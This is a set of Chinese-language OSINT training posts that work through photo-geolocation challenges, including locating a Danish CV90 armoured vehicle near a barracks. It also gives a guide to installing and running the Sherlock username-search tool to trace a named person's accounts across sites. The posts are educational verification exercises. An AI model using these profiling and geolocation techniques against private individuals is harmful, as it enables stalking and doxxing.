*2013*年的某个时候，*Uğur* 的公寓位置出现了一座新建筑。

如上，很明显这里发生了很多变化。

Uğur的公寓在2013年的某个时候不复存在；如果能够确认图像左上方的小建筑确实是Uğur的公寓那就太棒了，尽管从上面它看起来确实如此。

幸运的是，Yandex 现在允许你在旧的全景图和新的全景图之间切换。

虽然太早的图不存在，但他们确实拍摄了2011年以后的全景图。因此，在建筑物被拆除之前捕获了照片。建筑物被涂成了绿色，当电影

拍摄时它还是蓝色的

屋顶的形状是相同的，窗户的位置也对应。

结论

本演示是希望继续提供一些思考方式，帮助您简化漫长的信息验证挑战。

也许很多时候你知道有一大堆有用的工具可以帮你实现一个目的，但是最终发现它们可能都不够好。

因为需要巧妙的结合才能让工具发挥各自最佳的作用。

结合的路线图就是调查人员的思考方式：它来自长期的演练实践，您可以亲自练习，也可以通过增加阅读他人的演示来获得。

🌤对你最有帮助的不是培训，而是耐心和坚持，培养分析性思维，当然还需要有很好的知识。

让自己日常习惯于考察，可以快速培养分析性思维；您不一定一开始就能做的很好，也许最初会留下一大堆未解的难题，但是您会发现自己的思考方式越来越趋向于对真相的渴求。

这本身就是一大胜利。您的技术能力会从此变得更好。

请不要将 **OSINT** 视为任何新鲜事物，事实上每个人的日常中都会下意识地进行很多 **OSINT** 调查，只是人们没有命名它罢了。最常见的就如社交网络上人们习惯性地询问“这是真的吗？/要不要搜一下？”

当然，可以作为证据的 OSINT 专业调查报告对于初学者来说可能有点难度（我们进行了大量的演示，您可以参考）但它们的基本思考框架都是一样的。

掌握这一框架，并增加更多创意，您将很容易获得满意的结论。

最后，重要的是《好奇心作为驱动力》；虚无主义是一切的杀手，不止真相事业。

好啦，送一个小挑战：

就是上面这个视频。现在告诉您它是在20世纪80年代拍摄的，在纽约

州的一个市镇。但是具体是在哪里呢？

您的任务是：绘制这辆汽车的行车路线，在此之后对视图进行地理定位，并比较现在此路线变成了什么样。

加油！〇

「图」

原文

DC4 侦探挑战：间接证据和排除法 - iyouport

侦探挑战游戏

【2019年11月14日存档】一旦你排除了所有不可能的事物，无论剩下什么，都必须是真相。

上面那句话是福尔摩斯说的。我不是福尔摩斯的粉丝，不过必须承认，Holmes、Columbo、Morse 和无数其他人都会依赖于高度间接的证据；然后运用社交工程学迫使嫌疑人认罪。

先排除不可能的，这一思路在各种形式的调查中都有很常见的应用。

即使是小规模的 OSINT 调查也会产生大量的必须仔细筛选和排除的信息，才能一步步接近正确的答案。

🌤通过选择正确的参数、找到可证实的数据，再使用逻辑来消除其中不正确的推断答案，逐步接近正确。

最近的 Quiztime 侦探挑战就在这方面提出了一个很好的案例。

题目是：下面这张照片

问题是：确定照片中的女孩就读哪所学校。

这是社交媒体发布的图片，就如我们曾经介绍过的，关键在于您必须首先将它还原为原始分辨率，否则一些细节不容易看清楚。

在这里看到如何恢复到高分辨率的具体做法《别让社交媒体的自然模糊阻挡真相》。

完成后您可以看清图中的汽车车牌，这表明该地点位于巴西，但是巴西的学校有成千上万，到底是哪一个呢？

Sector035 完成了这个挑战。他使用两个参数过滤数据，以便先将可

能的位置数量减少到更小，并最终找到了正确答案。

这就是排除法的思考方式。

通过假设该位置可能位于累西腓 Recife（这是基于挑战游戏发起人 @y_vdw 的推特历史内容）并且它位于四车道公路上 —— 可以通过在 Recife 搜索所有四车道公路并进行视觉匹配，以找到正确的位置。

思路就是这么简单。

但是，即便有了明确的思路，这仍然是一项相对耗时的工作，但从整个巴西开始并取消所有不属于累西腓的地点，以及所有不是四车道的道路，就可以更快找到确切的位置。

从大处开始，逐渐变小、更小，直到找到最合适的位置。

下面看一个具体的挑战。使用的是同样的思路。

Lars Wienand 在哪？

另一个侦探挑战也适合排除法思路。

Lars Wienand 发布了这两张照片，就是下面这样：

并提问：

- 你能说出照片背景中的邮轮叫什么名字吗？
- 一艘邮轮在这里停留了数月，为什么？

大多数侦探挑战游戏只能通过第一张照片来解决，这次不同，是两张。

游轮在背景中可见，但是火车提供了最有用的信息：

1、DB（Deutsches Bundesbahn）标志显示这是在德国。

2、火车位于游轮停靠的地方附近。

看地图：所以，基本是在下面这些位置

德国的海岸线相对较小，但仍有很多可能的地方可供大型船只停靠，而且几乎所有的这些地方都有火车站。

地图中显示，可能的位置分别为：埃姆登、诺登、威廉港、不来梅哈芬、不来梅、库克斯港，弗伦斯堡，汉堡，基尔，吕贝克、维斯马、罗斯托克、和施特拉尔松德。

上述有可能仍不完整。理论上，可以只看一下谷歌地球，看看是否有任何港口位置与照片中的位置相似，但这很可能是一种相当缓慢且无效的方法，更不用说你有可能会花掉一个晚上持续这种无聊的方式。

所以，淘汰法也许会更有帮助。

🌤答案是重新审视照片，并提取更多信息以设置一些更有用的新参数。

显然仅通过这两张照片无法了解火车的目的地，于是搜索火车编号 442338 以了解更多信息。

使用 Google 搜索 “zug + 442338”（zug = train）会显示以下信息片段：

「图」

这些信息显示，罗斯托克到古斯托之间的列车编号为 443 338。

这意味着现在你可以立即排除所有其他位置了。

以下是 Google Earth 查看 Rostock 的显示：

这是和照片中的位置相匹配的，角度完全正确；Google 地图的检查显示，岸边的大型建筑物是游轮码头。

因此，很简单，仅将一个参数（列车编号）应用于检索就可以消除其他所有不正确的位置，可能的答案范围缩小到只有一个。

正确的位置是罗斯托克—瓦尔内明德站。

那么在罗斯托克的那艘船叫什么名字？

现在是回答第二个问题的时候了。

有几种方法可以解决这个问题。一种方法可能是尝试识别照片中的船只然后跟随它们的运动轨迹。

例如第二张照片中显示的这艘船明显属于Aida邮轮公司。

理论上您可以查看他们的船队，查看最近出现在罗斯托克的船及具体时间，以推测答案。

在某些情况下这是适当的技术，但是，显然，这种做法也会非常耗时，并且在这种情况下还有更快的方法。

照片拍摄的时间可能性跨度也很小。 Lars 没有指定日期，但有必要解决这个问题，虽然不在原始提问范围内。

毕竟，如果我们甚至不知道他什么时候拍摄的，又怎么可能知道 Lars 看到了哪些船？排除法可以再次在这里派上用场。

🌛即 通过应用一些参数，可以消除所有不正确的日期并找到最终正确的日期 —— 缩小可能性，然后让它变得更小。

罗斯托克港公布了游轮过去和未来的行程清单，在这里。Lars 则透露，他在访问此处的当天看到了四艘游轮。

这意味着可以通过将少于四艘游轮同时出现的所有日期取消，以排除不正确的日期。

通过上述清单，很明显，7月12日星期五是今年迄今为止唯一的一个“合格”日期，当时四艘或更多的游轮来到罗斯托克，所以此日必须是正确的（假设 Lars 是今年访问的此地）。

以下是当天出现的船只：

所以问题1的答案是 Lars 可以看到的船只为：AidAmar，Costa Favolosa，Marina，Regal Princess 和 Viking Sea。

从逻辑上讲，Lars 不可能在其他任何一天看到相同数量的游轮。

VesselFinder 的检索结果还证实，7月12日这些船只都在罗斯托克。

搜索谷歌新闻也能看到当地媒体报道证实了当日停靠该港口的这些船名，新闻表示这对罗斯托克来说是不寻常的事。

这里甚至还能找到 YouTube 视频：

哪艘船几个月都没有移动过？

该挑战的第二个问题有点棘手，但也并非没办法。

首先，使用 VesselFinder 来查看那里是否还有游轮停留：

没有任何邮轮了，这意味着据称已经在那里停留数月的游轮要么已经离开了，要么没有传送位置。

如果这艘船已经离开，那么它肯定会出现在罗斯托克港口的网站上吗？更重要的问题是：为什么一艘游轮要在港口停留数月而不是去任何地方？

毕竟游轮是昂贵的资产，需要努力赚钱才行。

所以推测，游轮停留数月的最可能原因是：a）它需要修理；b）它被废弃了；或者c）建造尚未完成。

于是，谷歌搜索罗斯托克的船舶维修公司，可以找到 MV Werften 公司网站，该公司在这个港口有个大型造船厂。

他们的网站显示他们正在建造一艘名为“Global One”的新游轮。

造船工作始于2018年，直到2020年这艘船才会开起来 —— 这就解释了那艘游轮为什么会在罗斯托克停留这么长时间而不会移动。

好了就是这么简单！

您可以看到，我们最近一个多月内演示的诸多调查都非常简单，仅仅使用所有人都会使用的搜索功能就可以完成开起来复杂的侦探挑战。

关键在于思考方式，这是尤其需要不断强调的：工具真的没有特别重要（当然好的工具可以加快调查速度），最重要的依旧是思路 —— 您需要始终坚定自己的目标，所有环节都为了这个目标前进。

最后回顾我们提供的*大型*搜索引擎列表 —— 《如果你擅长搜索，你能找到一切》。还是那句话：多尝试，是最好的教程。好运！○

原文

DC5 在互联网上识别和跟踪一个人的基本方法 - iyouport

侦探挑战游戏

【2019年11月15日存档】介绍一个好用的工具；对比其他同类工具就能发现，它最值得拥有

在互联网上识别和追踪一个人的足迹通常涉及在各种不同平台上研究用户名。

有很多工具可以做到这一点。但我更喜欢 Sherlock，它可以进行快速准确的用户名搜索。

与某些基于 Web 的替代方案（如 KnowEm 和 Namechk）相比，它返回的误报率最低，并具有有用的额外功能，例如能够运行 TOR、并允许将结果轻松导出到CSV文件以供进一步分析。

今天就来介绍一下 Sherlock。

入门

Sherlock 是一个可以在 Linux 中轻松运行的 Python 程序。

它需要运行 Python 3.6 或更高版本，因此您可能需要首先更新您的 Python 版本。

我在 Linux Mint 19.1 和 Kali 中使用了 Sherlock，设置简单、使用简单，没有任何故障。

以下是一个如何安装和使用它的快速指南。

克隆存储库：

`$ git clone` ``https://github.com/sherlock-project/sherlock``

切换到新创建的 Sherlock 目录：

```
$ cd sherlock
```

确保安装了 pip3。如果没有，请先安装它：

```
$ sudo apt install python3-pip
```

然后检查 pip 版本：

```
$ pip3 --version
```

你应该得到以下输出：

```
pip 9.0.1 from /usr/lib/python3/dist-packages
(python 3.6)
```

为 Sherlock 安装必要的 requirements：

```
$ pip3 install -r requirements.txt
```

现在你已准备好运行 Sherlock 了！

要运行基本查询，请在 Sherlock 目录中使用以下语法：

```
$ python3 sherlock.py TARGET_USERNAME
```

为了简单一点，请在 .bashrc 文件中创建别名。如果您要定期运行脚本，这会过程变得更快、更少重复。这也能允许您从任何位置运行命令，而无需先移动到 Sherlock 目录。

```
$ nano ~/.bashrc
```

滚动到文件末尾并添加以下行：

`#alias to run Sherlock` alias sherlock＝'cd ～/sherlock && python3 sherlock.py'

使用 Ctrl ＋ X 退出并保存。您需要关闭并重新启动终端窗口才能使更改生效。

现在运行 Sherlock 只需输入以下内容即可查询用户名：

```
$ sherlock TARGET_USERNAME
```

注意：Sherlock 需要运行 Python 3.6 或更高版本。通过在控制台中键入 python3—version 来检查您的 Python3 版本。

如果您的版本太旧，可以按照本指南更新到 Python 3.6。

要运行上面的命令，只需用 python3.6 替换 python3，它就可以正常工作。

Sherlock 可以做什么？

Sherlock 会查询数十个不同的网站，以查看该网站的任何用户帐户是否与您正在调查的用户名相匹配。

这是一种非常快速且非常有效的方法来识别您正在调查的目标人正在使用的其他平台，否则您可能找不到。

除了像 Twitter、Facebook 和 Reddit 这样的明显平台之外，它还会寻找像 NameMC、Steam 和 Roblox 这样的游戏网站上的匹配，还有编码网站，如 Codeacademy、GitHub 和 Gitlab，以及许多其他网站。

除了执行搜索的速度很快之外，与其他工具相比，误报率也非常低。

我发现 Sherlock 一直为 Wikia 返回虚假命中，但不是其他任何网站，于是影响不大。如果您之前使用过 Knowem 或 Usersherlock 等网站，那么您将会感受到 Sherlock 的更快速、全面和准确。

示例用法

要使用 Sherlock（假设您已经设置了上面的 bash 别名）查询用户名的格式很简单：

```
$ sherlock USERNAME
```

Sherlock 还允许您一次查询多个用户名：

```
$ sherlock USERNAME1 USERNAME2 USERNAME3
```

或者您可以查询预加载的 JSON 文件：

```
$ sherlock -j JSON_FILE_NAME
```

您还可以将结果导出到 csv 文件以进行进一步的工作：

```
$ sherlock USERNAME --csv
```

对于示例用户名，这里选择了 opt1cz。Opt1cz 是一名英国骇客，他现在已经入狱，但他的足迹仍在互联网上。

Sherlock 很快发现了大量匹配的配置文件：

```
$ sherlock opt1cz
```

在不到十秒的时间内就有了多个正面命中：

对于 Wikia 来说，通常会出现误报，但其余部分都与真正的 opt1cz 配置文件相关联，但当然您总是需要进一步努力来验证他们是否都是同一个人。

空白结果有点乱，所以通过添加参数：

```
--print-found
```

以确保只返回积极的结果。还会将结果导出为CSV文件以供进一步分析：

```
$ sherlock opt1cz --print-found --csv
```

这给出了更简洁的结果：

很棒了。

您可以看到 Sherlock 速度非常快，准确度高，并且输出类型也很灵活。

但它与其他用户名搜索工具相比如何呢？

与其他工具的比较

本文在其他热门用户名搜索平台上进行了相同的 opt1cz 搜索。

这不是一个精确的科学测试，因为并非所有工具都搜索完全相同的网站，但即便如此，性能也会有显著的差异。

Sherlock 为上述测试设定的基准是：扫描的站点：136，命中：12，误报：1。

Namechk

扫描的网站：98

错误：8

命中：8

误报：21

Namecheckr.com

扫描的网站：54（包括一些域可用性检查）

命中：5

误报：4

UserSherlock

扫描的网站：25

命中：0

误报：0

此搜索甚至错过了 Twitter 和 YouTube 等流行站点中一些非常明显的帐户。真的太尴尬了。

Profilr

扫描的网站：未知

命中：2

误报：3

Knowem

扫描的网站：25个（仅限最常见的社交媒体网站—他们可以选择扫描500个不同的网站）

错误：1

命中：4

误报：4

结论

因此，您可以看到，虽然 Sherlock 没有用户名搜索网站的即时可访问性，但它比 开源情报社区中经常被收藏的大多数用户名检查资源都更快更准确。这绝对值得您添加到研究工具箱中。〇

原文

DC6 侦探挑战游戏：快速地理定位的两种方法 - iyouport

侦探挑战游戏

【2019年12月4日存档】继续侦探挑战游戏系列！让培训充满乐趣。

对于第一次看到本话题内容的读者说：这里是一系列小游戏；不定期更新。主要采用的是开源情报社区提供的“挑战测试”。它们能帮助您培养很好的观察和分析能力 —— 思考方式是比工具更重要的东西。

今天的内容是两个挑战：这两张照片（题目）在所包含的信息类型方面非常不同，需要两种完全不同的方法才能成功地对图像进行地理定位。

🌤它将帮助您体验到灵活的思考方式对于情报分析工作来说有多重要。

对一个调查起作用的东西对于另一个调查就不起作用 —— 死记硬背是不行的，只有那些使用了正确方法的参与者才能成功。

本文介绍这两种不同的方法，可以快速进行地理定位挑战，尤其是，希望能强调：如何确定何时应用正确的方法。

对象搜索和图像相似度

题目是这样的：

有两种基本方法可以处理此图像。

您可以通过视觉相似性进行搜索，也可以基于照片中的对象进行搜索。这些都是在地理地位中常用的思考方式。

通过视觉相似性搜索基本上是涉及使用反向图像搜索工具来查找原始图像的全部或部分的匹配。

对于这个题目来说，如果使用这种方法那么对象就是照片中那个 Metro 标志，但是这样一来最终你会得到很多匹配的东西：

其实也并非特别糟糕。至少足以告诉你这是在巴黎拍摄的（尽管从原始照片中用眼就能看出来），但是没有足够的视觉匹配来给出具体位置。

成功的参与者似乎并不依赖于这种方法。基于对象的搜索是解决这一挑战的更好方法。

原因是照片中存在大量可搜索的信息，例如商店和街道标志，这些信息足以提供正确的位置，使得依赖于视觉相似性的搜索根本没必要。

考虑此图像中可识别对象的数量：

1) Metro 标志

2) Royal *lly bar

3) “Boulanger / Patissier”标志

4) 两个 Loto 标志

5) 部分模糊的路牌，上面写着* tgallet

即使您不认识巴黎，也能从上述“3”中看出，这是法语；“1”则告诉您这可能是巴黎（还有其他五个拥有地铁的法国城市，但谷歌搜索他们的标识显示，只有巴黎有这个标志，就是图中的标志。）

通过 Streetview 快速查看位置，确认这是巴黎 Montgallet 地铁站：

这种情况是：图像本身提供了如此多的特定和可识别对象可以进行搜索，于是，与搜索视觉相似性相比，基于对象的搜索就是一种更有效的技术，可以快速地对图像进行地理定位。

没有任何标志的时候 —— 视觉相似性

第二个挑战是一种完全不同的图像类型，但它可以作为一个很好的例子，说明为一张照片工作的相同方法并不适用于另一张照片。

该问题是这样的：

哇，这个好厉害 —— 什么标志都没有；与上面第一个题目相比，同

样的方法一点都用不上了。

这张照片是在哪里拍摄的？

考虑照片中可识别线索（线索都太大了，无法使用）：

1）河

2）丘陵

3）红屋顶房屋

4）盐盘

5）河口

你能看到，这里没有任何特定或独特的内容。

在这种情况下，缺少特定对象意味着视觉相似性搜索更有效。

使用“按图搜索”，剪裁照片的中心区域，删除了一些天空和前景细节：

然后使用 Yandex 进行快速反向图像搜索，在斯洛文尼亚的 Piranski 附近进行了位置匹配。通过视觉相似性搜索对于这种地理定位更有效。

⚠对于大多数类型的地理定位问题，有必要使用一系列技术来找到答案 —— 而不是单一技术。

重要的是要记住，为每个图像自动使用相同的技术并不总是有效的，每个图像都需要根据自己的内容进行评估 —— 我实际看到的是什么？我能看到多少细节？

一旦你回答了这个问题，就可以更好地决定：应该采用什么样的方法。

请注意调大分辨率哦！尤其是来自社交媒体的照片，分辨率都较低，您需要首先恢复到原始分辨率才能看清其中的细节。具体做法在这里《别让社交媒体的自然模糊阻挡真相》。

多练习，思路会更活跃；任何地方都可以练习，我们曾经演示过如何使用电影来练习情报分析，见《使用电影做侦探挑战演示：开源调查

游戏》。您完全可以在社交网络上随便寻找调查目标；做得越多就能越熟练。〇

原文

DC7 那辆军车正驶向哪里？：侦探挑战时间 - iyouport

侦探挑战游戏

【2019年12月13日存档】继续不定期更新系列。这是新一期的侦探挑战游戏

这一游戏是日常练习，帮助您在各种情况下培养获取证据和挖掘真想的思考方式。您可以在栏目中看到更多相关内容。

今天的挑战主题是图像定位，主角是一辆身份不明的军用车辆。

Doxsor 发布了这张图片，提问：这辆军车前往哪里，以及哪个军营离该地点最近：

你经常会在网络上看到其他人发布一些军车的照片或视频，并同时声称某某军正在进入某某地点。但它是真的吗？定位技术是您获得判断的唯一方法。

今天的挑战是练习军车识别和探索军事单位组织和结构的好机会。

开源情报分析是一个非常广泛和多样化的学科，其中就包括能够识别军用车辆和那些使用它们的人的能力，这会成为调查的一个重要组成部分。

延伸：曾经演示过的一个调查《如何使用数字技巧在线验证中东冲突中的战斗伙伴关系》。

本文的其余部分将介绍在找到正确的位置之前，如何识别车辆和军事部门。

坦克和装甲战车

有多种方法可以开始这一难题，但本文将从车牌开始。

在黄色背景上的黑色6位字母数字可能会属于多个不同的国家，但其中两个最有可能的选项是荷兰和丹麦。

（World License Plates 是这类事物的绝佳资源）

所以，也许如果能找到荷兰和丹麦军队使用的车辆图像，就可以确认车辆类型，然后从那里开始，以确定使用这种车辆的军事部门。

但如何识别车辆？

对于大多数人来说，它看起来像坦克 —— 但这在严格意义上不够正确。

即使您不是军用爱好者，此照片中显示的一些细节也有助于识别一般车型。

它不是坦克。坦克通常要大得多，枪支也更大，装甲更重，并且没有能力在内部运送更多的士兵。

测试图中的军车在后方有一个门，如下图所示，表示它设计用于容纳更多的士兵。这意味着该车辆不是坦克，而是一种装甲运兵车，也称为装甲战车。

这很重要，因为这意味着使用这种车辆的部队很可能是侦察/机械化/装甲步兵部队，而不是坦克部队。

首先来看看荷兰军队使用的是什么样的履带式军车。

他们使用的唯一符合标准的车辆就是CV90（履带、炮塔、后门，位置都一致）：

接下来再看丹麦军队使用的车辆，唯一可能的匹配也是CV90：

事实证明，CV90被许多不同的国家使用。那么如何确定原始图片中的CV90属于哪个国家？

仔细看上面的图，图中丹麦CV90上的牌照的样式与本测试中图像的牌照相同。黄色圆圈标志后跟五位数字的模式非常相似：

「图」

「图」

相同的符号和相似的数字序列（75 1xx）足以确定这个CV90属于丹麦军队而不是任何其他国家。

部队和军营

因此，如果CV90是丹麦的，是否有可能找出它所在的位置、以及拍摄照片时它可能会到达何处？

幸运的是，丹麦军队规模很小，其主要作战部队仅在两个不同的地点驻扎。

支援单位还有一些额外的基础设施，但像**CV90**这样的车辆应该是属于前线作战单位的。

这个维基百科页面提供了一些关于军队结构的见解，这个非官方的丹麦陆军网站声称CV90只发给了两个部队，即 the Life Guards 和 the Guards Hussar Regiment。

考虑到所有这些因素，似乎只有两个可能的位置，无论是霍尔斯特布罗的第一旅，还是斯劳厄尔瑟的第二旅。

虽然丹麦周围还有其他一些军事基地，但只有这两个驻军似乎拥有使用CV90的战斗部队。

很幸运维基百科还提供了关于丹麦军队的概述，这样就可以看得更清晰了：

不过这张图对寻求答案来说有点无益，这图只是表明装备 CV90 的部队分布在 Slagelse 和 Holstebro 之间，这对定位挑战来说实际上没有任何帮助，因为它们相距很远，并且可能位于任何一个位置。

是否有任何线索可以帮助指向正确的方向？

重新看那张图， CV90 背面还有一个额外的细节，表明可能与 Slagelse 有关。仔细看，CV90 背面的这个符号与 Slagelse 的第2旅官方徽章非常相似：

「图」

也就是说，Slagelse 比 Holstebro 更有可能。

尽管如此，要知道，军用车辆经常移动，作战单位几乎可以随时随地

部署，因此对可能的位置保持开放态度非常重要。

寻找CV90

出题的人说这辆车靠近一个军营 —— 但两个最有可能的候选答案（Slagelse 和 Holstebro）位于该国的两端，所以从哪里开始？

首先，重新看原始图像，专注于原始图像左侧可见的路标。这是普通人都会做的事。

「图」

文字太模糊了，但似乎有 derup；如果您对丹麦地理的了解不多，可以谷歌搜索* derup + Denmark，试试看能不能找到地名。

最清晰的是 Jyderup 镇，距离 Slagelse 不远（约35分钟车程）。

地图显示 Jyderup 附近唯一的主要道路是23号高速公路；但不论如何匹配都找不到看起来正确的位置。

因为根本不是23号路。23号路大部分是单车道路，而测试照片中的道路看起来像是一条多车道高速公路。

标志也非常不同。下图是从23号路向 Jyderup 出口的标志：

显然这个标志是白色背景上的红色文字，但本挑战中您需要寻找的是那种标准的高速公路标志，蓝色背景上的白色文字，像下面这样：

23号路是错误的；更重要的是，这意味着 Jyderup 不仅不是正确的位置，而且，真正的位置必须在高速公路上。

你最好能选一个大一点的显示器，在电脑上操作会容易很多。

Jyderup 不是正确答案，但是通过上面这段折腾，您应该能了解到，为了找到位置，只需要专注于高速公路而不是任何其他道路，因为带有蓝底白字的标志似乎是高速公路专用的。

图片实际显示的是什么？

再次回到原始图像，看看它有什么其他信息。

已经有了很多关于CV90的细节，但是图像中有什么东西可以用来找到位置吗？如下：

1）红色框 —— 这是车辆的阴影，所以，它显示了什么？看那些树木，图像肯定是在夏天拍摄的。

丹麦位于北半球，所以太阳总是在南方。因此，车辆的阴影位于图片右侧的事实必然意味着太阳位于左侧。

这意味着车辆必须大致向西行驶，高速公路的方向必须大致为西—东，不太可能是南北。

理论上时间可能是黎明或黄昏，但相对较短的阴影长度显示这不太可能。

2）绿色框 —— 那个东西看起来是一个电气桅杆的顶部，如电动火车使用的那种。它似乎是一条平行于高速公路的铁路。

搜索电气化铁路照片，以确定丹麦使用的是哪种类型：

3）蓝色框 —— 符号显示以-drup结尾的地方的出口，以及以-ov或-on结尾的第二个地方。标志后面还有其他东西是灰色的，也许是道路或桥梁。

所以，把所有信息放在一起，已经可以确定以下内容：

1、该位置位于高速公路上，很可能是西—东/东—西走向；

2、高速公路与电气化铁路平行；

3、铁路必须位于高速公路的北侧，而不是南侧；

4、该位置位于高速公路出口旁边，地名以-drup／-derup结尾，另一个以-ov／-on结尾；

5、它必须非常靠近 Holstebro 或 Slagelse 的一个军营。

因此，通过严格应用这些标准，可以非常快速地缩小搜索范围。

查看下面的丹麦地图，其中显示了所有主要的高速公路：

紧记上述5个标准，要把它们全部应用进去，很快就会知道正确的位置。

看图，E39，E45，E47 和 E55 可以排除，因为它们是南北方向而不是西东。

E20是东西方向的；E20 也离 Holstebro 不远，这意味着 Slagelse 是两个选项中最有可能的地方。

出于这个原因可以决定不把重点放在埃斯比约和科灵之间的E20西段，因为距离任何一个军事基地都很远。

先从哥本哈根到欧登塞开始。目的是：看高速公路的哪一段在北侧有一条平行于它的电气化铁路，然后专注于那条路。

这种方法的优点是可以以卫星模式使用谷歌地图。这个阶段只是在高速公路旁寻找铁路，所以不需要街道细节。

你当然可以在街景模式下看 E20，但这需要很长时间。而使用卫星图的高度也意味着可以在很短的时间内覆盖大面积：

经过大约十分钟的检查后发现，E20 的唯一一部分，从东西方向延伸的铁路沿线是 Olby 和 Fjaellebro 之间的区域（Svenstrup 附近有另一个小的区域，但是对街景图的快速查看显示它不匹配）。

Olby-Fjaellebro 区段距离公路仅约20公里，所以它只是一个很小的区域。

目标位置必须靠近出口处；出口必须是以-drup结尾的地名和以-or / -ov结尾的第二个名字。

开始一个非常快速的街景视图查找只关注出口点，在这里看到：33号出口，Vemmedrup / Bjaerskov.

这是唯一可能的位置，上述几个标准都符合；但是有一个问题—它看起来不像照片上的样子！

在原始照片中，高速公路旁边有一个堤坝和一些灌木丛，但这里没有堤坝，也没有灌木丛。

正确的地方，错误的观察点

在调查过程中也许你经常会遇到类似的状况：从逻辑上讲，这必须是正确的位置，但是街景图像不匹配。

看起来很矛盾吗？事实上并不存在矛盾。

现在你要做的是使用街景工具重新对照照片，因为你确定分析逻辑是

对的。

在原始图片中，观察点距离路标更远，所以这里需要对 Streetview 进行一些调整，然后就会找到这个位置：

它看起来几乎是正确的；将街景视图与原始视图进行比较时，该标志似乎也是正确的：

「图」

但是原图中没有防撞栏。

在尝试尽可能多地调整几分钟之后终于看懂了，街景图位于高速公路的1号车道（车道内），而原始照片的观察点在2号车道（车道外）拍摄，这就解释了为什么街景图与原始照片之间略有差异 —— 是角度问题。

鉴于原始图像中卡车的位置，也解释了为什么防撞栏不太明显（只是被挡住了）。

所以答案是：Vemmedrup 附近 E20 高速公路的33号出口位置，于是军车 CV90 可以前往的最近的军营很可能是 Slagelse 的 Antvorskov Barracks。

这个游戏演示了一系列思考方式，包括在失败的情况下如何继续推进。下一次再有人上传某种军车照片或视频并宣称什么军队进入了哪里，您应该知道该如何检验这类消息了。○

原文

DC8 侦探挑战时间：让井盖和自行车说话 - iyouport

侦探挑战游戏

【2020年3月25日存档】本次挑战不使用任何技术工具，仅仅用您的眼睛，就可以做到

这次即将处理的是由 Fiete Stegers 发出的另一个侦探挑战。

这是 Sector035 参与的演示。这里不使用任何工具，而是专注于同样重要的事：根据照片中的可见线索排除特定的位置。

这是对于调查工作来说非常重要的思考方式。

题目是下面这张照片，它是在哪里拍摄的？

这是一张极为普通的照片，没有任何有意义的地标，而整体风格看起来很像阿姆斯特丹。但真的是吗？

现在第一步要做的就是仔细看它，从中寻找可用的细节证据。从最基本的方面你能看到：

- 这种建筑风格实际上可以在阿姆斯特丹找到很多；
- 路牌的类型和字体都符合荷兰的特点；
- 那个贴满了广告的柱子上可以见到荷兰语；
- 还有那扇门入口处的海报，那是巴黎的荷兰语拼写；
- 自行车；
- 而且显然有咖啡店。

好吧，似乎一大堆线索可能指向阿姆斯特丹 —— 但是，这个答案是错的。

至于建筑物的风格，这些砖块的形状和大小以及所显示的结构，也许在当前并不常见，但在50到70年代的阿姆斯特丹是很常见的。

它不是阿姆斯特丹，那么究竟是在哪里？

街道的位置

「图」

如果你尝试放大确切位置就会发现，阿姆斯特丹这个答案有问题。

因为，这张照片中显示的路牌无法在阿姆斯特丹找到！左边是假的，右边是真的

原因是这条街不在“阿姆斯特丹中心”，而在以前称为“ de Baarsjes”的自治市镇中，如今已与其他一些自治市合并为一个新的“阿姆斯特丹西”。

因此，这是该照片可能根本没有在阿姆斯特丹拍摄的第一个迹象。

日期标志

「图」

突出的第二件事是，尽管所有广告看起来都像荷兰语（其中有些看起来很真实），但我可以告诉你，在荷兰，我们使用不同的日期格式。

如果您不了解这点也没关系，快速搜索维基百科即可。查看有关日期写法的维基百科页面德国部分，您会在 DIN 5008 中看到以下内容：

「图」

再看看维基百科页面荷兰部分，显然荷兰人几乎从未在日期中使用“点”，荷兰人更喜欢用斜杠或短线或直接连写。

所以，如果它是荷兰，您应该看到的是类似 7/1/2003 或 7–1-’03。大多数时候，荷兰人确实将相同的DMY表示法用于非正式用途，就像德国人经常做的那样。我从来没有见过荷兰人在写日期的时候使用“点”。

但这不是依据。

「图」

除了这些点之外，可以在照片左侧的标语牌上找到指向德国的另一条

线索。

仔细看，上面有 “Januar” 这个词，这是德语“一月”的意思，荷兰语的“一月”是“ Januari”。

德语和荷兰语对的“六月”是一样的，都是 “ Juni”。

关于自行车

「图」

许多游客知道，阿姆斯特丹尤其以其丰富的自行车而闻名。这里有关于阿姆斯特丹自行车的一些有趣的故事。

是的，这里真的有很多自行车！

那么照片中显示的自行车到底表示什么呢？这一切都与德国有关安全性的规范相关，这是非常具体的，但是荷兰没有这样的规范。

仔细看一下照片，可以清楚地看到只有蓝色自行车的前轮有夹式煞车器。通常前轮有后轮也应该有啊，为什么呢？

这与德国在刹车方面规范的几种不同的选择有关：

- 前后轮都有制动器，带有独立的把手；或者
- 前轮有一个夹式刹车器，后轮有一个倒轮闸

原因是德国法律明确提到自行车需要有两个独立的制动系统。也就是说，万一车把上的手动操作失灵了，必须有一个后备系统，例如一个倒轮闸。完整的德语文章可以在这里阅读。

正因为这种配置在荷兰很少见，所以对荷兰人来说，照片中这一细节很突出。荷兰的自行车有两个手闸，或者一个倒轮闸。

这里需要特别注意的是，照片中可以清楚地看到那个交通护柱，根本不像传统的阿姆斯特丹版的 “ het Amsterdammertje”。

井盖

「图」

在照片右侧看到一个下水道井盖？显然是混凝土的。

混凝土井盖在荷兰非常少见。德国倒是有这种。在网上找到一张图，上写着德语 “Kanaldeckel”，或者更笼统的 “Schachtabdeckung”。

这样的井盖下面是电缆，如果需要维修的话工人可以直接在街道上打开它。

Wikipedia页面上也有同样的另一个示例：

在荷兰，大多数井盖都是钢甚至是铸铁制造的；但是方形的井盖在荷兰绝对是很少见的，即便有，也比照片中显示的这种要小得多，而且通常不是用混凝土制成的。

综上，这不是荷兰，而是德国。

结论

「图」

整体上，这一挑战没有使用任何工具 —— 简单说它就是您在每一次进行信息验证时最初需要做的工作，用眼。

显然，有关不同国家或不同文化的有用信息是很重要的，比如井盖。再比如，如果您没有注意到日期中使用小数点的特殊格式，可能也会错过正确答案。

所以，要细致观察。尤其是发生在您所在国家的一些细节，您都应该熟知。闭上眼睛，您能说出您所在城市使用的井盖和电线杆具有什么特点吗？您经常走过的那条街上有几个面包房？他们的招牌各是什么颜色的？……

绝大多数人每天都在街上走，但是很少注意到诸如广告牌、井盖、路灯等细节，而在调查工作中，这些细节特别重要 —— 市政建设的特点是地理定位过程中的第一步，尤其是在没有明确地标的情况下。

